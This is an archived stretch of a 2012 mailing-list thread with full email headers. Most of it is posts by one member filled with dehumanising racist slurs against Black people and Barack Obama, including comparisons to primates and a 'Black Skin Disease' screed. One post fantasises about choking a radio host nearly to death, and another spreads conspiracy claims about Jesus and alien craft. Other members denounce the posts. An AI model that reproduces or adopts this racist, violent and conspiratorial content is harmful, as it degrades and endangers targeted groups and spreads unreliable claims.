you've talk to, and then, who they've talked to..... IOW, you'll need to start over, so,,,, whenever you even "think" about looking (not to mention actually talking, or worse and/or fatal, listening) at a primarily instinct-driven survival brained long lost brother or sister relative,,, first & foremost to need to realize that a "talking animal" only does so to impress you and/or fool you. Now before I finish here, I have to tell you that whenever I tuned into the lib-channel, within only a matter of several seconds, I wanted to get inside that radio and grab'a hold of that moron idiot (as would any somewhat normal human citizen) by the throat and rip them apart. Then, I'd slam them up against a wall, with their feet dangling in the air, and continue tightening the choke-hold until they lose consciousness and/or are within a nanosecond of expiring (and/or maybe inspire them to seek a life in the "hereafter"). Oh and one more... whenever you listen either to a right or left talk show (which are esentially under the control of Yo Honky Mama's black magic voodoo), you're likely going to hear extremely quite often continuously even, BO being referred to as " The President" or "President Obama". Just in case you happen to have even a slightest doubt in your weak little mind, well just go ahead and grab a hold of this....... BO has fully read & memorized the manual in How To Become A Dictator After Defrauding & Swindling A Country Into Believing The People Voted You In Via The Viable Reliable Legitimate Democratic Process,,, and if any of you people out there, wherever you may reside, don't think that the phony imposter of a primarily primate survival instinct brain misoccupying the small cranial cavity w/ a rather hideous face in front of it, isn't highly skilled at deceit, swindling, misleading, bribing, conning, coercing, corrupting, beseige, besmear, besmirch, set-up, frame, and manipulating you and/or everything you have.... all I can say is yuo can look forward to 4 more years of "You continuing to see this Country being completely pilaged plundered & destroyed. Good bye now, and try to keep from being used as a "mouthpiece" for your demise. PS. BO recently said in the Address To The Swindled Nation that he didn't think it was right for Susan Rice -Sectretary of Whatever (one of his many useful miscolored blackened clan members) to be besmirched the wqay she was..... well, one question comes almost to immediately to my mind, and that is, "why did BO's commit 1/2 $ Billion Dollars in Campaign ads to literally assassinate Romney?..... the answer is that BO is absolute genuine 100% exceptionally pure low-life scum. From vortexb-l-request@eskimo.com Sat Nov 17 08:25:40 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAHGPdWa025617; Sat, 17 Nov 2012 08:25:39 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAHGPbnA025605; Sat, 17 Nov 2012 08:25:37 -0800 Resent-Date: Sat, 17 Nov 2012 08:25:37 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <23556.274e7b40.3dd9147b@aol.com> Date: Sat, 17 Nov 2012 11:25:32 -0500 (EST) Subject: Re: [VoB]:resist.ca To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1353169532; bh=B89BiiBAEIlMCOngmYISf7z1R+xK0BPHXHPy+44LZ3o=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=vTlja+I4wy9vnlV9AenPCqtEwFI42haPaOH2jJMnCv7WQ2legT9kCDiPou95PYfEd rb6avkE/mnN71WNszy/XtS/jDp3ZCiJh1i/PAQf5kWz7S2bv9qKMPv/FXB7uuo1yFA yL3Cku55OfdrAEKUnb0bYmsGQksz94B8IJl8T6/E= X-AOL-SCOLL-SCORE: 0:2:415624576:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d290b50a7ba7c4872 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4615 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 856 Correction.... Susan Rice is an Ambassador (like I said, whatever), not a Secretary. Seriously, I mean, you talk about a total complete farce of a so-called adminstration presently DISserving under (as in, as low as you can go) the so-called Presidency.... I almost become ill whenever I inadvertently happen to see either Obombya or one of his wrongly miscolored goon squad on TV as they attempt to "appear" to care about you dumb whities, about you or your ways. I do know one thing that makes them happy and/or keeps them living the lie, er, uh, I mean dream, and that is the more they get away with, and/or fool you dumb gullible idiots into believing they actually care, the more you're going to pay, in not only alot of moocho dollars, but your lives.... So again, All I can to you is Fools!!... Suckas!! So now, lets continue shall we. Now, I know it might seem like I'm repeating myself but it's absolutely imperitive that you thoroughly read & understand the rather lengthy paragragh after this very important announcment... "make absolutely sure you pound it into your head, so you neither question nor forget it... (begin).... President Obama, The President, President Obama, The President, President Obama, The President, President Obama, The President, President Obama, The President.........President Obama, The President, President Obama, The President, President Obama, The President, President Obama, The President, President Obama....... now, go back to the beginning where you see the two words "President Obama" and continue to read on down, again & again & again, until you vomit, or feel the need to get a brain cell. BTW, all you dumb gullible people out there aren't suppose to racially profile anyone except yourself (of course), the 3rd world banana republic invaders that are currently in the process of infiltrating and/or overthrowing this Country, Have No Country and/or Do Not Have A Clue What "God's Country" even means. From vortexb-l-request@eskimo.com Sun Nov 18 11:45:41 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAIJjd1I015344; Sun, 18 Nov 2012 11:45:39 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAIJjaAb015331; Sun, 18 Nov 2012 11:45:36 -0800 Resent-Date: Sun, 18 Nov 2012 11:45:36 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50A907D6.7060909@resist.ca> Date: Sun, 18 Nov 2012 11:07:50 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <8wKfN.A.cvD.grTqQB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4616 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Loren Heyer: racist lunatic. Status: O X-Status: X-Keywords: X-UID: 857 I guess asking you to SHUT THE FUCK UP would not get any reasonable response would it, you loud-mouthed, racist sack of shit, huh? -- grok. On 12/11/16 14:36, LORENHEYER@aol.com wrote: > Prior to the so-called recent election of BO obtaining the Office of Ruling > Dictatorship of the United State of African Anarchists (also operating > under another name, called the KKK.... Kill Kill Kill ), I began to force myself > to listen to afew local radio stations with liberally-deranged influenced > hosts. It took me a while before I started to figure it out, but then the > culprit and/or cause of these absolutely brainwashed devoted blind > braindead moronic comments became very apparent. > > (Very) low & behold, it was, as I suspected (as with > many other radio talk shows, no matter on the right, or left) a wrongly > miscolored person (?) had been at it, working & playing all the dumb gullible > whitey fool suckas. Now then, I already knew of several stations that had among > them at least one primarily animal instinct guided primate in their midst, > and so, there's little doubt they have long since been sliming & slithering > & weaseling their way into everywhere humans tend to be,,, especially where > power money and/or high paid talk show host tend to blab to all the world. > > So now, it's all become so obvious that it has > literally smacked me right in the face. I have come to realize it for what it > is, and it has been going on for many years. These black mambas can be very > dangerous to your health and/or very deadly, as with just a few words, or > functions, whether by phone or computer or what-have-you, they can alter the > subject, conversation or your entire day,,, or life... if that's important > to you? things to offend, anger, enrage color colored person (by no > fault of their own, had > So now, you have to consider who you've talk to, and > then, who they've talked to..... IOW, you'll need to start over, so,,,, > whenever you even "think" about looking (not to mention actually talking, or > worse and/or fatal, listening) at a primarily instinct-driven survival brained > long lost brother or sister relative,,, first & foremost to need to realize > that a "talking animal" only does so to impress you and/or fool you. > > Now before I finish here, I have to tell you that > whenever I tuned into the lib-channel, within only a matter of several seconds, > I wanted to get inside that radio and grab'a hold of that moron idiot (as > would any somewhat normal human citizen) by the throat and rip them apart. > Then, I'd slam them up against a wall, with their feet dangling in the air, > and continue tightening the choke-hold until they lose consciousness and/or > are within a nanosecond of expiring (and/or maybe inspire them to seek a life > in the "hereafter"). > > > Oh and one more... whenever you listen > either to a right or left talk show (which are esentially under the control of Yo > Honky Mama's black magic voodoo), you're likely going to hear extremely > quite often continuously even, BO being referred to as " The President" or > "President Obama". Just in case you happen to have even a slightest doubt in > your weak little mind, well just go ahead and grab a hold of this....... BO > has fully read & memorized the manual in How To Become A Dictator After > Defrauding & Swindling A Country Into Believing The People Voted You In Via The > Viable Reliable Legitimate Democratic Process,,, and if any of you people out > there, wherever you may reside, don't think that the phony imposter of a > primarily primate survival instinct brain misoccupying the small cranial cavity > w/ a rather hideous face in front of it, isn't highly skilled at deceit, > swindling, misleading, bribing, conning, coercing, corrupting, beseige, > besmear, besmirch, set-up, frame, and manipulating you and/or everything you > have.... all I can say is yuo can look forward to 4 more years of "You > continuing to see this Country being completely pilaged plundered & destroyed. > Good bye now, and try to keep from being used as a > "mouthpiece" for your demise. > PS. BO recently > said in the Address To The Swindled Nation that he didn't think it was right > for Susan Rice -Sectretary of Whatever (one of his many useful miscolored > blackened clan members) to be besmirched the wqay she was..... well, one > question comes almost to immediately to my mind, and that is, "why did BO's commit > 1/2 $ Billion Dollars in Campaign ads to literally assassinate Romney?..... > the answer is that BO is absolute genuine 100% exceptionally pure low-life > scum. > > From vortexb-l-request@eskimo.com Sun Nov 18 12:26:28 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAIKQRG6022348; Sun, 18 Nov 2012 12:26:27 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAIKQQ7c022340; Sun, 18 Nov 2012 12:26:26 -0800 Resent-Date: Sun, 18 Nov 2012 12:26:26 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <35c2c.694ca1cb.3dda9e71@aol.com> Date: Sun, 18 Nov 2012 15:26:25 -0500 (EST) Subject: Re: [VoB]:resist.ca To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1353270385; bh=uP6gKdN0L1R6XRDSC2QnMqRWd27ul24sgrgHt62l9PI=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=wdVNrHRiR4mxFlTwsfoxYVrcBZvvzBzU+mtQW/3BQjCRJvELrxnILhTER/rd0FPMu PTs1B3AAc8EMX8E36Dm/1AFsx8x7SvAgBwSOjWXmzHNxkaqdB+IDSFdaabn3YTtx0m YyM1vi3np7lDwvt0XyttKCwC9+kZWJN7AzrRdN9U= X-AOL-SCOLL-SCORE: 0:2:434288000:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d33cc50a944714804 Resent-Message-ID: <8Mg5eC.A._cF.xRUqQB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4617 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 858 I'd just to take a moment and tell everyone that I enjoy commenting on various topics here, especially ones that involve humans. I know some of my comments seem a bit opinionated and/or reflect a dislike or even hatred, for certain human looking spiecies of primates that have the ability to easily fool humans into believing they're a human, just like you. The problem now is that we have a Half Chicken/Half Parrot begging for money......... Buc, Buc, BRROCK!!!... Gimee Your Money!... Gimee Your Money!. This very fowl, bird brained, dog-eatin, human-hating, primarily primate-loving handsome intelligent articulate Man... Man! Man! Man! (how many times do I have to remind you of that?) is a human being or person, just like you & me,,, you know, like regular people. Just because his race has long been a burden (you know, with his mother being the color she was) ever since he was knee-high to Giraffe back in Kenya Africa, he won't have any trouble getting all of you to feel sympathetic for him and everyone like him who's afflicted with this horrible skin condition, more commonly or simply known as BSD - Black Skin Disease (if I told you once, I told you a milllion times... don't stay out in the sun too long). And so, as the desperate search for the cure for this cancer continues on, it will of course cost you countless billions of dollars and many many of your lives. So, here's a few things you can do to prevent your skin from becoming this horrible color. First thing to rememeber is that "Black" tends to absorb light and/or turns it in to nothing. Coming in contact with those afflicted with this terrible disease, whereas one day, you're a fairly normal intelligent human being, and then you start talking like maybe say, Arenulled Sortofanegro, of Culleyfawnya. As an example of what can happen, if you happen to be easily swindled, influenced, bribed, and/or somewhat slimey from the getgo.... you'll first have to find a photo of Hillery (as in, them thar hills sure'a are'a gittin'a mighty big, an'a I don't see no need for'a goin off'a that thar cliff) Cleantan (Suckaeyedteary of the Stake) prior to coming in contact with those skin diseased afflicted primates currently monkeying around in the Whitey House,,, then, look at the most recent mug shot of H.C. and feel free to judge for yourself. Now, I know she has aged some some, and that she wasn't very bright to begin with prior to being overwhelmed by BO and his clan of primarily primates, but overall, her appearance and/or attire has been seriously compromised, and/or taken aturn for the worse. Also, it was recently said that she was calling it quits at the end of her term,, and so, I wonder who, or what rather, will replace her,,, and/or did the diseased skin afflicted zoo escapee's destroying the Whitey House, make the decision for her?. Could it just be that she has a clue about that which slithers within the Pimped Out White House?... Might she potentially hint at, or worse yet, say something to that effect,,, or maybe, she just decided to give-up trying to see eye to eye with primates. Whatever it is, she'll most likely carry it with her to the underworld, er uh, I mean the after world... BTW, the Democratic Commission will not admit to any "wrong-doing", because it's been so long since they did anything right, and dun plum forgot which is which. Lets see now, do you think the Dumbcrackhead Party will at least spend some time in the future asking themselves a few really tough questions, like.... Is wrong right?... is up down?... is bad good?... is right left?.. is backward forward?... should a pot call the kettle black?.. If blacks can't stab white people in the back, and take everything they own, are white people racists?... should the Country be robbed out of countless billions of dollars to cure racist white people?...should human beings sit down on the same tree branch with primates and try to reason with them?.. should human beings feel compassion for primarily small brained primates that only mimic people, and are allowed to parade around as if they're better or more important?. These questions, among many others, will need to be thoroughly addressed as the Country begins it's steep spiral downward (ever more rapidly) into a Black Hole. Thank you. From vortexb-l-request@eskimo.com Sun Nov 18 12:53:26 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAIKrPMo027332; Sun, 18 Nov 2012 12:53:25 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAIKrNVf027322; Sun, 18 Nov 2012 12:53:23 -0800 Resent-Date: Sun, 18 Nov 2012 12:53:23 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=yTit7je31d/hc0MNK4Q43Npr4snL9prAy2zNsJxNUBw=; b=0htYoh6zwIAq4/FxMeAKMTt8+6uxxanvopy0/7OtIJ5QKpDfl/aBLxfYuA1Ia6azg9 7oSDPTCSydsQCbQarWJCzgFd/N8HkSTMksb8xeliTZ0xkXSLIJft3go0+UtN8/5Yjzz1 co6OnVAImrHthbCyir3MZKrDs5MsxYgmWHTtIEbRPKXBPcFpzvPje+yQKzmMp+xOuSBD RgRwpRHqefR1BzZ5RKTJAgTM0k8xB6yI8xDvkKBcK7IzEUPuwav10uIU2LOFCQW0HFZf xTU+kcwbEVx8F5tbYdXTShFBbHuwRmNvB0o+nMQH2sNEyYgMVecqMN0uXsZ2+GxZo0up fqEQ== MIME-Version: 1.0 Date: Sun, 18 Nov 2012 22:53:20 +0200 Message-ID: From: Esa Ruoho To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d0444e92bdf2f1e04cecb3078 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4618 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:dudeee Status: O X-Status: X-Keywords: X-UID: 859 --f46d0444e92bdf2f1e04cecb3078 Content-Type: text/plain; charset=ISO-8859-1 dhehyy y dududuesss peaaccceee lovee e& & happainnessss dudeeeeeeeeeeeee wyyy hwth the wwarrr r r let's jtajualll all l jsut cudldele okay?? hugg!!!! --f46d0444e92bdf2f1e04cecb3078 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable dhehyy y dududuesss =A0peaaccceee lovee e& & =A0happainnessss dudee= eeeeeeeeeee =A0wyyy hwth the wwarrr r r =A0let's jtajualll all l jsut = =A0cudldele okay?? hugg!!!!

--f46d0444e92bdf2f1e04cecb3078-- From vortexb-l-request@eskimo.com Mon Nov 19 09:56:14 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAJHuDQu012399; Mon, 19 Nov 2012 09:56:13 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAJHuAt7012386; Mon, 19 Nov 2012 09:56:10 -0800 Resent-Date: Mon, 19 Nov 2012 09:56:10 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50AA72A2.8010909@resist.ca> Date: Mon, 19 Nov 2012 12:55:46 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:dudeee References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <0ePqNB.A.dBD.6KnqQB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4619 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 860 On 12/11/18 15:53, Esa Ruoho wrote: > dhehyy y dududuesss peaaccceee lovee e& & happainnessss > dudeeeeeeeeeeeee wyyy hwth the wwarrr r r let's jtajualll all l jsut > cudldele okay?? hugg!!!! > Pacifism doesn't work on the KKK. Dude. And like pacifists everywhere -- you just muddy the waters with this sort of stuff, rather than actually solving matters, decisively: a simple fact pacifist hypocrites everywhere will never understand... However, 'decisive' _here_ only means ignoring this creep, now: because he's proven to be either a twisted troll, or a whacko fascist moron. So it doesn't matter either way 'talking this thru with Peace and Love' with this mental defective. Pfft. -- grok. From vortexb-l-request@eskimo.com Mon Nov 19 15:33:03 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAJNX1UC020220; Mon, 19 Nov 2012 15:33:01 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAJNWu0p020200; Mon, 19 Nov 2012 15:32:56 -0800 Resent-Date: Mon, 19 Nov 2012 15:32:56 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <28b2d.26e882eb.3ddc1ba7@aol.com> Date: Mon, 19 Nov 2012 18:32:55 -0500 (EST) To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1353367975; bh=29GXSPeQwysz6v8O8h9B59JNZa5/YTVHbA37/3K9CZo=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=YQLMTWG/J2q/piT1iq8bdWb686iNGIvGAkUPONgJWDp0oBsdY7aF5OZiIaI4zCfDq NeAYUe8lCs4MMTGj2KAZgjSXYBcCfUCfyu4pE600bFpm//mmCLKrFDt3G/tBvzg3FZ 02BAXq4OKGHNRM4MSLloxM4lmpwYa99HHJAEBtaw= X-AOL-SCOLL-SCORE: 0:2:289036736:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d33c950aac1a76d45 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4620 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:[Vo]:B The Truth Is In the Light (not dark) Status: O X-Status: X-Keywords: X-UID: 861 Let me first say that I've come a looooong way in this relatively short life of 57yrs and Im fairly confident that I have seen considerably more than most people even care to. I've also taken a good long look at what makes up my life, or, soul of my very being, from all the way back in my very early youth, to now. So now, what we human beings can essentially only refer to as God, is in fact all a matter of being derived from over the past many thousand of years from the time of a very eraly simple people, up'n til the present. Now, as far as I'm concerned, when it comes to religion, there hasn't been any real accurate translation, and in-particular a few chapters in the Bible which involve a few individuals (I'm sure there're more)...the first one is Ezekiel, then Moses, and then Jesus. Now quickly first, look at the history of how America has come into existence,,, and Wallah!... we now have modern-day religion or christianity,,, of which, all the Dictator controlled wanabe nations thruout the world that still practice the stone-age ways of way back when, hate. I guess it just doesn't have that certain animal-like cruelty & raw savagery & brutality, and/or inhumane subhuman appeal in the way punishment is carried out to those who dare think past the end of their nose. Now, I know that a number of you out there take immediate offense at what was said but, only if you feel the need,,, other wise, just ignore it and move along. Now much as you absolutely cannot stand even the thought of even opening a bible, you need to to read (yes read) about what Ezekiel encountered, while being held captive. Then you absolutely must read about Moses and what he encountered while in the Mtn's, and had compelled and/or motivated him to do what he did. Now, look at how Jesus C. came to be, as the poor peasants had long since prayed and/or anticipated the arrival of a messiah. So, what was it exactly that appeared up in the heavens at the time of his birth?... was it some miraculous "Light" or just the Star(?) of Bethlehem, which somehow miraculously happened to appear and inspired the people to "believe" that Jesus C. was the one??? Quickly now, as J.C. grew, after having been nutured early-on up'n til he was able to understand just how important he was, and so he needed to learn how to use his gift of god to perform miracles among the people. As he began to feel the importance of his almighty presence on earth, he willfully accepted and/or adopted his role, but as time went on, he tried to do things expected of him, but had some real trouble, and became quite angry. Then he said "hey wait a minute, these damm people fooled me into thinking I was some kind god w/ great powers, and I don't even know the time of day... I'll show them!. So now, he set out to gather up his deciples and set up some props to make it look as if indeed he had powers, to fool the Romans. Now Jesus's deciples were getting a bit hungry, as trying to live off of power only doesn't quite cut it. J.C. tried to find work but no one was hiring Savior w/ powers at the time, which J.C. always seem to lose, everytime he applied for a job. So, because Judas did alot to help Jesus look good thruout the land, he got fed up of looking like the fool, and not get anything out of it. So, Jesus's plan to fool the Romans went sour, and he was exposed as the deceiver of many, that he was, and he deserved to be severely punished... he got nailed! And so my children, a lesson is to be learned, and that is simply that, the hard cold fact of the matter is that as we human beings continue ever forward in the endeavor to establish a more civilized means of governing and/or an overall improved standard of living, eventually after much time, effort, blood, sweat, & tears, we'll've developed the technology that will enable an all new society that's totally free of all deficiencies & difficulties, that so horribly makes up the majority of everything we are & do. Slowly over the next several million years, the predecessors of this society will have long since established a whole complete vastly improved mode of being, in which a hi-tech world is integrated with an equally hi tech intelligence process, that instantly accesses a immense amount of vital accurate information, which operates flawlessly forever more w/o fail. One thing you can be sure of is that in the distant future, things are so very complex & sophisticated, yet simple, that we of this time can only regard it as unbelievable, impossible, or even ungodly. A very important aspect to the technology of the distant future is the level or capacity in which it operates, of which we tend to refer to as spiritual as opposed to technical. As far back as we can go in the development of the first rather crude civilization, up until the present, many people have seen and/or interacted with highly advanced Craft and it's occupants. Many people have seen strange lights, but are unable to elaborate or speculate as to what it could have been. The easy solution to this as typically presented as a reasonable explanation by those who don't allow themselves to be concerned or're pragmatic in their ways, is that people just tend to make too much out of nothing. While things of 'our" making such as airplanes that're flying to & fro all destinations thruout the land in the upper & lower atmosphere,,, and then, all the satellites and/or thousands of pieces of debris in low & upper orbit from a number of various Country's failed rocket launchs, that ALL can rather easily be mimiced or used as a cover, by *someone* that is operating in a whole *other* highly sophisticated capacity. Atmospheric conditions can also be used, as the stars seemingly blink or fluctuate in intensity, and even shut off & on, and/or a condition called scintillation - in which a star is positioned more toward the horizon, and changes or fluctuates in color and/or brightness. Over the many years, I have spent countless hours watching all these activities on numerous occasions, and simply put, I began to laugh at what I found to be actually be operating within most of this activity. Sure, there's absolutely no doubt that it can all easily be explained away as just all perfectly natural, but That Couldn't Be Further From The Truth! So, here's a question for all of you "very" down-to-earth scientifically inclined types?. Have you ever considerd the origin of the ryhme "Twinkle Twinkle Little Star, How I Wonder What You Are" ?... (here's a clue)... It's the stars! From vortexb-l-request@eskimo.com Mon Nov 19 16:40:54 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAK0erHQ001354; Mon, 19 Nov 2012 16:40:53 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAK0eq4O001349; Mon, 19 Nov 2012 16:40:52 -0800 Resent-Date: Mon, 19 Nov 2012 16:40:51 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=highsurf.com; s=default; h=Content-Type:MIME-Version:Message-ID:Date:Subject:To:From; bh=mVEuGkVXTV2yWyYo0O4TwewjLQT8SkhIb8V4DCSrsgs=; b=j7IE/Zq8u4yCqmr47Lh7+1wblgf5TwgI/8nIoY+E158bAqwVKalgx6jGf9NomksCNWEP9at4AjUpX1Q6ljed2kiSuFQT6nzCoew+v7zij1g9HAGxnyekw/OjZETiCZrv; From: "Rick Monteverde" To: Date: Mon, 19 Nov 2012 14:40:53 -1000 Message-ID: <1bca01cdc6b7$b2da2cd0$188e8670$@com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_1BCB_01CDC663.E12E1CD0" X-Mailer: Microsoft Office Outlook 12.0 Content-Language: en-us Thread-Index: Ac3Gt7Bd/Gg2Rw9JSKuFAMtHzgpu+w== X-Identified-User: {3341:just107.justhost.com:highsur1:highsurf.com} {sentby:smtp auth 66.162.245.162 authed with rick+highsurf.com} Resent-Message-ID: <6IydiC.A.9U.TGtqQB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4621 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Vortex B Status: O X-Status: X-Keywords: X-UID: 862 This is a multi-part message in MIME format. ------=_NextPart_000_1BCB_01CDC663.E12E1CD0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Looking over a few posts here on vort b recently, think maybe we ought to rename the forum the V-oort cloud because, you know, it's *way* out there. - Rick ------=_NextPart_000_1BCB_01CDC663.E12E1CD0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Looking = over a few posts here on vort  b recently, think maybe we ought to = rename the forum the V-oort cloud because, you know, it’s = *way* out there.

 

-          = Rick

------=_NextPart_000_1BCB_01CDC663.E12E1CD0-- From vortexb-l-request@eskimo.com Tue Nov 20 01:54:40 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAK9sc0J004486; Tue, 20 Nov 2012 01:54:38 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAK9sZZF004468; Tue, 20 Nov 2012 01:54:35 -0800 Resent-Date: Tue, 20 Nov 2012 01:54:35 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz14.mailnet.ptd.net From: "Jeff Fink" To: References: <1bca01cdc6b7$b2da2cd0$188e8670$@com> Subject: RE: [VoB]:Vortex B Date: Tue, 20 Nov 2012 04:54:29 -0500 Message-ID: <21130A40B04E4EC08A5C6FD935F036EF@REVTEC1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0156_01CDC6DB.207E2D90" X-Mailer: Microsoft Office Outlook 11 In-Reply-To: <1bca01cdc6b7$b2da2cd0$188e8670$@com> Thread-Index: Ac3Gt7Bd/Gg2Rw9JSKuFAMtHzgpu+wASimHw X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4622 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 863 This is a multi-part message in MIME format. ------=_NextPart_000_0156_01CDC6DB.207E2D90 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I 